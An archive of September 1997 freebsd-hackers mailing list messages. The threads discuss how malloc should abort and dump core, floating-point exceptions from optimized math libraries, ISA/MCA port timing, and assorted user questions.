owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk marino.ladavac@siemens.at scribbled this message on Sep 19: > > > > > >Flushing in abort() should be safe because abort() is not among the > > >functions that are safe to call from a signal handler :-). > > > > Bummer. > > > > So what should I do in malloc when I realize that continuing doesn't > > make sense ? > > > > kill (diesig, getpid()); ? > > for which value of diesig ? > > raise( SIGABRT );? > > or the equivalent > > kill( getpid(), SIGABRT);? what happens what it's masked or caught?? Only SIGKILL and SIGSTOP can't be caught or ignored... (see signal(3) for more info)... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Fri Sep 19 07:16:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA14337 for hackers-outgoing; Fri, 19 Sep 1997 07:15:36 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA14313; Fri, 19 Sep 1997 07:15:22 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id HAA04957; Fri, 19 Sep 1997 07:15:19 -0700 (PDT) Message-ID: <19970919071518.15473@hydrogen.nike.efn.org> Date: Fri, 19 Sep 1997 07:15:18 -0700 From: John-Mark Gurney To: freebsd-bugs@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Bug in malloc/free References: <199709191221.OAA10145@ws6423.gud.siemens.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199709191221.OAA10145@ws6423.gud.siemens.at>; from marino.ladavac@siemens.at on Fri, Sep 19, 1997 at 02:21:47PM +0200 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk marino.ladavac@siemens.at scribbled this message on Sep 19: > > > > > >Flushing in abort() should be safe because abort() is not among the > > >functions that are safe to call from a signal handler :-). > > > > Bummer. > > > > So what should I do in malloc when I realize that continuing doesn't > > make sense ? > > > > kill (diesig, getpid()); ? > > for which value of diesig ? > > raise( SIGABRT );? > > or the equivalent > > kill( getpid(), SIGABRT);? what happens what it's masked or caught?? Only SIGKILL and SIGSTOP can't be caught or ignored... (see signal(3) for more info)... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Fri Sep 19 07:49:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA16203 for hackers-outgoing; Fri, 19 Sep 1997 07:49:21 -0700 (PDT) Received: from usr07.primenet.com (tlambert@usr07.primenet.com [206.165.6.207]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA16198 for ; Fri, 19 Sep 1997 07:49:19 -0700 (PDT) Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id HAA06306; Fri, 19 Sep 1997 07:49:12 -0700 (MST) From: Terry Lambert Message-Id: <199709191449.HAA06306@usr07.primenet.com> Subject: Re: FPE problem To: kuku@gilberto.physik.RWTH-Aachen.DE (Christoph Kukulies) Date: Fri, 19 Sep 1997 14:49:12 +0000 (GMT) Cc: tlambert@primenet.com, kuku@gilberto.physik.RWTH-Aachen.DE, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <19970919114704.51622@gil.physik.rwth-aachen.de> from "Christoph Kukulies" at Sep 19, 97 11:47:04 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Now it's getting funny: > > The exception only occurs on certain machines. I have a dynamically linked > binary which I compiled on an around July -current 486 machine and it does > *not* do a FPE there. > > The machines where it occurs were built with > CFLAGS= -ffast-math -m486 -O2 > > That means that libm (or libmsun) were built with inline fpu instructions > and this is causing the trouble. > > I will rebuild the math libs with conservative switches now. Ugh. Clearly, there is something that needs to be corrected, and this will gloss it over. On the other hand, I understand not caring why it works, so long as it works. 8-). If you could isolate the functions where you get the errors to small source files, and provide the compiler generated assembly output for both cases, we might be able to make it work with the inlined code; the speed improvement may or may not be worth the effort involved, however. 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 07:50:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA16291 for hackers-outgoing; Fri, 19 Sep 1997 07:50:08 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA16286 for ; Fri, 19 Sep 1997 07:50:03 -0700 (PDT) Received: from Journey2.mat.net (journey2.mat.net [206.246.122.116]) by earth.mat.net (8.8.7/8.6.12) with SMTP id KAA09055 for ; Fri, 19 Sep 1997 10:49:56 -0400 (EDT) Date: Fri, 19 Sep 1997 10:49:55 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: FreeBSD-Hackers Subject: empty messages Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I just got yet another empty message, from hackers. I took a look at the header, it comes from eot.cs.uoregon.edu .... does this ring a bell with anyone? ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Fri Sep 19 07:51:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA16402 for hackers-outgoing; Fri, 19 Sep 1997 07:51:18 -0700 (PDT) Received: from usr07.primenet.com (tlambert@usr07.primenet.com [206.165.6.207]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA16390 for ; Fri, 19 Sep 1997 07:51:13 -0700 (PDT) Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id HAA06406; Fri, 19 Sep 1997 07:51:08 -0700 (MST) From: Terry Lambert Message-Id: <199709191451.HAA06406@usr07.primenet.com> Subject: Re: FPE problem To: kuku@gilberto.physik.RWTH-Aachen.DE (Christoph Kukulies) Date: Fri, 19 Sep 1997 14:51:07 +0000 (GMT) Cc: kuku@gilberto.physik.RWTH-Aachen.DE, tlambert@primenet.com, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <19970919120257.04499@gil.physik.rwth-aachen.de> from "Christoph Kukulies" at Sep 19, 97 12:02:57 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I will rebuild the math libs with conservative switches now. > > Stop. Stop. I'm getting this with a stock 2.2.2-RELEASE installed > machine also, so my compilation switches may not be the only culprit.. > > Were there any changes in libm in the recent past? Frankly, I don't know. I don't tend to track user space changes very vigorously, only kernel space changes. The user space changes I track are only done because they rely on badly implemented kernel interfaces that constantly expose the kernel internals. 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 07:51:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA16461 for hackers-outgoing; Fri, 19 Sep 1997 07:51:31 -0700 (PDT) Received: from usr07.primenet.com (tlambert@usr07.primenet.com [206.165.6.207]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA16442 for ; Fri, 19 Sep 1997 07:51:28 -0700 (PDT) Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id HAA06050; Fri, 19 Sep 1997 07:44:27 -0700 (MST) From: Terry Lambert Message-Id: <199709191444.HAA06050@usr07.primenet.com> Subject: Re: INB question To: mike@smith.net.au (Mike Smith) Date: Fri, 19 Sep 1997 14:44:27 +0000 (GMT) Cc: tlambert@primenet.com, mike@smith.net.au, sos@sos.freebsd.dk, hackers@FreeBSD.ORG In-Reply-To: <199709190659.QAA01136@word.smith.net.au> from "Mike Smith" at Sep 19, 97 04:29:02 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > This isn't the MCA configuration information; this is the BIOS > hardware table. I mean the soft configuration information that you > mung with the config disk. I have no idea where that lives; I haven't even gotten around to building an EISA config under UNIX (I at least know where that data lives, and the format of the .INF files). I doubt you will be able to get rid of the DOS configuration tool for MCA any time soon. > > Yeah; that's why I picked the extended MCA DMA ports for the detect; > > that, and I can do the probe non-destructively, with the expectation of > > a 0 bit in my data and no hardware configuratio changes resulting. > > Where is the port exactly? ie. is it likely to be sat on or masked > over by an ISA device? Port 0x18 is the control, and port 0x1A is the data. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 08:02:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA17018 for hackers-outgoing; Fri, 19 Sep 1997 08:02:00 -0700 (PDT) Received: from sumatra.americantv.com (sumatra.americantv.com [207.170.17.37]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA17013; Fri, 19 Sep 1997 08:01:56 -0700 (PDT) Received: from right.PCS (right.PCS [148.105.10.31]) by sumatra.americantv.com (8.8.5/8.8.5) with ESMTP id KAA01781; Fri, 19 Sep 1997 10:01:04 -0500 (CDT) Received: (from jlemon@localhost) by right.PCS (8.6.13/8.6.4) id KAA29922; Fri, 19 Sep 1997 10:00:28 -0500 Message-ID: <19970919100027.23678@right.PCS> Date: Fri, 19 Sep 1997 10:00:27 -0500 From: Jonathan Lemon To: Bruce Evans Cc: phk@critter.freebsd.dk, atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, hackers@FreeBSD.ORG, julian@whistle.com, mike@smith.net.au Subject: Re: Bug in malloc/free References: <199709191318.XAA17318@godzilla.zeta.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.61.1 In-Reply-To: <199709191318.XAA17318@godzilla.zeta.org.au>; from Bruce Evans on Sep 09, 1997 at 11:18:11PM +1000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sep 09, 1997 at 11:18:11PM +1000, Bruce Evans wrote: > >I still seems to me that we need a new function to mean: > > "coredump, right now, no ifs, whens or buts. Thank you." > > A new signal, like SIGKILL except it generates cores, would be useful. > We would have to fix all the assumptions that sigset_t == int to make > room for another signal number. ``SIGCORE'' :-) -- Jonathan From owner-freebsd-hackers Fri Sep 19 08:09:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA17352 for hackers-outgoing; Fri, 19 Sep 1997 08:09:47 -0700 (PDT) Received: from docenti.ing.unipi.it (docenti.ing.unipi.it [131.114.28.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA17337 for ; Fri, 19 Sep 1997 08:09:28 -0700 (PDT) Received: (from gabriele@localhost) by docenti.ing.unipi.it (8.8.5/8.8.5) id RAA07026; Fri, 19 Sep 1997 17:09:52 +0200 (MET DST) Date: Fri, 19 Sep 1997 17:09:52 +0200 (MET DST) From: Gabriele Cecchetti To: hackers@FreeBSD.ORG Subject: PcWeek Review In-Reply-To: <19970919071518.15473@hydrogen.nike.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Another (good) review about FreeBSD, this one by PcWeek: http://www8.zdnet.com/pcweek/reviews/0908/08free.html Cheers Gabriele ============================================================================ Ing. Gabriele Cecchetti Millennium Information Engineering email: gabriele@ing.unipi.it Via Lenin 127 http://www.ing.unipi.it/~gabriele 56010 Pappiana, PISA (Italy) Tel: +39-50-862316 ============================================================================= From owner-freebsd-hackers Fri Sep 19 08:19:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA17933 for hackers-outgoing; Fri, 19 Sep 1997 08:19:14 -0700 (PDT) Received: from usr07.primenet.com (tlambert@usr07.primenet.com [206.165.6.207]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA17920 for ; Fri, 19 Sep 1997 08:19:12 -0700 (PDT) Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id IAA07324; Fri, 19 Sep 1997 08:19:07 -0700 (MST) From: Terry Lambert Message-Id: <199709191519.IAA07324@usr07.primenet.com> Subject: Re: INB question To: joerg_wunsch@uriah.heep.sax.de Date: Fri, 19 Sep 1997 15:19:07 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970919084937.PR22228@uriah.heep.sax.de> from "J Wunsch" at Sep 19, 97 08:49:37 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > OBTW, see my trailing comment wrt. transfer rates; if ISA read cycles > > are deferred by 1.25us, how do I manage 1.3MW/sec from a user-space > > process? (This is with a P166 on an HX board; nothing special.) > > With a true plain ISA card? The boot code still uses an inb(0x84) for > a timing loop, and it seems to get the timing well enough with it. This is actually bogus as hell. First, because it's an input, not an output. Second, port 0x84 is the Compaq POST output port, or it is the EISA "Synchronize Bus Cycle Register" -- reading it only causes an extended I/O ready cycle to occur on EISA systems, and is more useful for flushing EISA bus master or DMA. It's not even support on all EISA systems (ie: HiNT chipsets, which are broken in other ways). I think the "correct" timing mechanism is to output a byte to port 0x80. This is the POST code port, and it's what Linux uses. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 08:31:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA18722 for hackers-outgoing; Fri, 19 Sep 1997 08:31:46 -0700 (PDT) Received: from usr07.primenet.com (tlambert@usr07.primenet.com [206.165.6.207]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA18693; Fri, 19 Sep 1997 08:31:40 -0700 (PDT) Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id IAA07978; Fri, 19 Sep 1997 08:31:34 -0700 (MST) From: Terry Lambert Message-Id: <199709191531.IAA07978@usr07.primenet.com> Subject: Re: Bug in malloc/free To: Don.Lewis@tsc.tdk.com (Don Lewis) Date: Fri, 19 Sep 1997 15:31:34 +0000 (GMT) Cc: hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-Reply-To: <199709191108.EAA01819@salsa.gv.tsc.tdk.com> from "Don Lewis" at Sep 19, 97 04:08:58 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > } Subject: Re: Bug in malloc/free > } > } We claim to be sort of POSIX conformant. Perhaps this is enough. We > } aren't actually POSIX conformant. All the above "safe" routines may > } clobber the global `errno'. > > Which is why I save and restore errno in signal handlers. Perhaps this should be done by the trampoline code on the user's behalf... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 08:37:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA19131 for hackers-outgoing; Fri, 19 Sep 1997 08:37:57 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA19112; Fri, 19 Sep 1997 08:37:51 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id IAA06554; Fri, 19 Sep 1997 08:37:23 -0700 (PDT) Message-ID: <19970919083722.51186@hydrogen.nike.efn.org> Date: Fri, 19 Sep 1997 08:37:22 -0700 From: John-Mark Gurney To: "marino.ladavac@siemens.at" Cc: freebsd-bugs@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Bug in malloc/free References: <199709191520.RAA10438@ws6423.gud.siemens.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199709191520.RAA10438@ws6423.gud.siemens.at>; from marino.ladavac@siemens.at on Fri, Sep 19, 1997 at 05:20:50PM +0200 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk marino.ladavac@siemens.at scribbled this message on Sep 19: > > marino.ladavac@siemens.at scribbled this message on Sep 19: > > > > > > > > > >Flushing in abort() should be safe because abort() is not among the > > > > >functions that are safe to call from a signal handler :-). > > > > > > > > Bummer. > > > > > > > > So what should I do in malloc when I realize that continuing doesn't > > > > make sense ? > > > > > > > > kill (diesig, getpid()); ? > > > > for which value of diesig ? > > > > > > raise( SIGABRT );? > > > > > > or the equivalent > > > > > > kill( getpid(), SIGABRT);? > > > > what happens what it's masked or caught?? Only SIGKILL and SIGSTOP can't > > be caught or ignored... (see signal(3) for more info)... > > then I am an idiot who deserves the punishment. I mean, If I want to > abort(), I am sure not going to catch or mask SIGABRT. I thought this much > could be taken for granted. sorry.... if you were called from another program (as malloc is), the SIGABRT will be in an unknown state... and requires fiddling with the signals first... as you state... it just wasn't clear that you knew this was needed... > Otherwise, you would need another signal, as Bruce already stated. I agree... a friend of mine is VERY annoyed that you can't reliably get a core dump with a very simple operation... > > BTW, I strongly believe that the assumption that NSIG<=32 is dieing away > very fast as there are some nontrivial platforms where the converse is > true: this is good to hear... [...] > IMHO as far as UNIX is concerned, these two are pretty much the mainstream, > and, modullo SunOS brain dead 8bit FILE.fd size, had no problems porting > software to them. sigset_t is sigset_t--who cares to what does it really > map. -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Fri Sep 19 08:41:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA19389 for hackers-outgoing; Fri, 19 Sep 1997 08:41:03 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA19037; Fri, 19 Sep 1997 08:36:09 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id AAA20093; Sat, 20 Sep 1997 00:29:19 +0900 (JST) To: Terry Lambert Cc: julian@whistle.com (Julian Elischer), hackers@freebsd.org, ache@freebsd.org Subject: Re: RFC: japanese LOCALE stuff X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: <199709190007.RAA19516@usr06.primenet.com> In-reply-to: Terry Lambert 's message of Fri, 19 Sep 1997 00:07:35 +0000 (GMT). <199709190007.RAA19516@usr06.primenet.com> X-Mailer: comp (MHng project) version 1997/08/04 03:38:46, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Sat, 20 Sep 1997 00:29:14 +0900 Message-ID: <20090.874682954@itojun.csl.sony.co.jp> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> + /* >> + * mskanji.c - locale ja_JP.SJIS support >> + * Copyright (c) 1995 >> + * Sin'ichiro MIYATANI Phase One Inc. All rights reserved. >> + */ >What's the status on this thing? contacted the author, and he will email julian on this. he meant Berkeley copyright, so there will be no problem merging it. itojun From owner-freebsd-hackers Fri Sep 19 09:59:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA24386 for hackers-outgoing; Fri, 19 Sep 1997 09:59:31 -0700 (PDT) Received: from dublin.iona.ie (root@operation.dublin.iona.ie [192.122.221.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA24363; Fri, 19 Sep 1997 09:59:13 -0700 (PDT) Received: from ultra (ultra [192.122.221.136]) by dublin.iona.ie (8.7.5/jm-1.01) with SMTP id RAA17969; Fri, 19 Sep 1997 17:58:42 +0100 (BST) Date: Fri, 19 Sep 1997 17:58:18 +0100 (BST) From: Niall Smart X-Sender: nsmart@ultra To: Terry Lambert cc: Don Lewis , hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free In-Reply-To: <199709191531.IAA07978@usr07.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 19 Sep 1997, Terry Lambert wrote: > > } We claim to be sort of POSIX conformant. Perhaps this is enough. We > > } aren't actually POSIX conformant. All the above "safe" routines may > > } clobber the global `errno'. > > > > Which is why I save and restore errno in signal handlers. > > Perhaps this should be done by the trampoline code on the user's > behalf... Perhaps that would encourage people to write non-portable code. -- Niall Smart Customer Engineering, IONA Technologies. (www.iona.com) From owner-freebsd-hackers Fri Sep 19 10:29:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA25900 for hackers-outgoing; Fri, 19 Sep 1997 10:29:33 -0700 (PDT) Received: from leech.mpg.uni-jena.de (leech.mpg.uni-jena.de [141.35.24.98]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA25895 for ; Fri, 19 Sep 1997 10:29:28 -0700 (PDT) Received: by leech.mpg.uni-jena.de (NX5.67f2/NX3.0M) id AA11488; Fri, 19 Sep 97 18:27:46 GMT Message-Id: <9709191827.AA11488@leech.mpg.uni-jena.de> Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) Received: by NeXT.Mailer (1.118.2) From: Heiko Schafberg Date: Fri, 19 Sep 97 18:27:45 GMT To: freebsd-hackers@freebsd.org Subject: popper error Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hallo I got a problem with qpopper2.4. I installed and configured like desribed but when I make telnet host 110 I got the message: inetd (###) cannot execute ./popper; permission denied. I just changed the owners but it didn`t fit. Does somebody can resolve the problem. thank`s Please answer to my mail adressd directly . Heiko hei@leech.mpg.uni-jena.de From owner-freebsd-hackers Fri Sep 19 10:48:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA26969 for hackers-outgoing; Fri, 19 Sep 1997 10:48:26 -0700 (PDT) Received: from watermarkgroup.com (lor.watermarkgroup.com [38.246.139.30]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA26964 for ; Fri, 19 Sep 1997 10:48:21 -0700 (PDT) Received: by watermarkgroup.com (4.1/SMI-4.1) id AA26610; Fri, 19 Sep 97 13:47:45 EDT Date: Fri, 19 Sep 97 13:47:45 EDT From: luoqi@watermarkgroup.com (Luoqi Chen) Message-Id: <9709191747.AA26610@watermarkgroup.com> To: kuku@gilberto.physik.RWTH-Aachen.DE, tlambert@primenet.com Subject: Re: FPE problem Cc: freebsd-hackers@freefall.FreeBSD.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Thu, Sep 18, 1997 at 04:18:06PM +0000, Terry Lambert wrote: > > > A little bit more info now: > > > > > > ret_val = -z__ * (spint_1.a1 * z__ * (spint_1.a2 * z__ * (spint_1.a3 * > > > z2 * (spint_1.a4 * z2 * (spint_1.a5 * z2 * (spint_1.a6 * z2 * > > > (spint_1.a7 * z2 * (spint_1.a8 * z2 * (spint_1.a9 * z2 * ( > > > spint_1.a10 * z2 + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + > > > 1.) + 1.) + 1.) + spint_1.zeta2 + z__ * log(1. - *x); > > > > > > > > > (xxgdb) info float > > > u: status 0x82e1: exceptions: INVALID LOS FPSTACK; flags: 0010; top 0 > > > e: status 0x200: flags: 0010; top 0 > > > control 0x1272: compute to 53 bits; round NEAREST; mask: DENORM UNDERF LOS; > > > last instruction: opcode 0x1d0; pc 0x8:0xf01f9a96; operand 0x27:0x92844 > > > > [ ... ] > > > > > What is LOS ? Loss of significance? > > > [ valuable floating point insights ommitted ] > > Now it's getting funny: > > The exception only occurs on certain machines. I have a dynamically linked > binary which I compiled on an around July -current 486 machine and it does > *not* do a FPE there. > > The machines where it occurs were built with > CFLAGS= -ffast-math -m486 -O2 > > That means that libm (or libmsun) were built with inline fpu instructions > and this is causing the trouble. > > I will rebuild the math libs with conservative switches now. > I had these kind of FPE exceptions before, but couldn't quite figure out why. I suspects this may have something to do the bcopy() on 586 using the floating point stack. You could turn off the bcopy() optimization by setting npx0 flag to 0x7 in your conf file, and see if you can duplicate the problem. Maybe I will try it myself. Does anybody know if I can modify the flag using boot -c, or I have to recompile a new kernel? -lq From owner-freebsd-hackers Fri Sep 19 11:00:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA27600 for hackers-outgoing; Fri, 19 Sep 1997 11:00:46 -0700 (PDT) Received: from trem.cnt.org.br (trem.cnt.org.br [200.19.123.1]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA27587 for ; Fri, 19 Sep 1997 11:00:38 -0700 (PDT) Received: by trem.cnt.org.br (AIX 3.2/UCB 5.64/4.03) id AA15655; Fri, 19 Sep 1997 14:50:09 -0200 From: ormonde@trem.cnt.org.br (Rodrigo Ormonde - VOGA) Message-Id: <9709191650.AA15655@trem.cnt.org.br> Subject: Loadable kernel modules To: hackers@freebsd.org Date: Fri, 19 Sep 1997 14:50:08 -0200 (GRNLNDDT) X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I need to write a loadable kernel module to FreeBSD 2.2.2. I have already worked a lot inside FreeBSD's kernel, but I've never written such thing. Can someone point me where I should look for information ? (simple examples or technical documentation would be very appreciated) Please, send a copy of the answers to me, because I'm not on the list. Thanks in advance -- Rodrigo de La Rocque Ormonde e-mail: ormonde@cnt.org.br PGP Public key: finger ormonde@cnt.org.br -> Turn your PC into a workstation - Use FreeBSD ! <- From owner-freebsd-hackers Fri Sep 19 12:22:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA02099 for hackers-outgoing; Fri, 19 Sep 1997 12:22:47 -0700 (PDT) Received: from brane.digs.iafrica.com (brane.digs.iafrica.com [196.7.162.25]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA02092 for ; Fri, 19 Sep 1997 12:22:33 -0700 (PDT) Received: from iang by brane.digs.iafrica.com with local (Exim 1.71 #1) id 0xC8d6-0000oS-00; Fri, 19 Sep 1997 21:22:16 +0200 Subject: Re: FPE problem In-Reply-To: <9709191747.AA26610@watermarkgroup.com> from Luoqi Chen at "Sep 19, 97 01:47:45 pm" To: freebsd-hackers@freefall.freebsd.org Date: Fri, 19 Sep 1997 21:22:16 +0200 (SAT) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-Id: From: Ian Freislich Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi > The exception only occurs on certain machines. I have a dynamically linked > binary which I compiled on an around July -current 486 machine and it does > *not* do a FPE there. > > The machines where it occurs were built with > CFLAGS= -ffast-math -m486 -O2 I would be interested to see if the problem persists if the CFLAGS are set to either of these: CFLAGS= -ffast-math -O2 CFLAGS= -ffast-math -m486 I noticed subtle breakage in sh when compiled with both -m486 and -O2. I wonder if the same optimiser problem is at play here. -- igf (Ian Freislich) From owner-freebsd-hackers Fri Sep 19 12:24:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA02229 for hackers-outgoing; Fri, 19 Sep 1997 12:24:25 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA02224 for ; Fri, 19 Sep 1997 12:24:20 -0700 (PDT) Received: from argus.tfs.net (pm3-p8.tfs.net [206.154.183.200]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id NAA02290; Fri, 19 Sep 1997 13:22:45 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.7/8.8.5) id OAA02214; Fri, 19 Sep 1997 14:24:14 -0500 (CDT) From: Jim Bryant Message-Id: <199709191924.OAA02214@argus.tfs.net> Subject: Re: PcWeek Review In-Reply-To: from Gabriele Cecchetti at "Sep 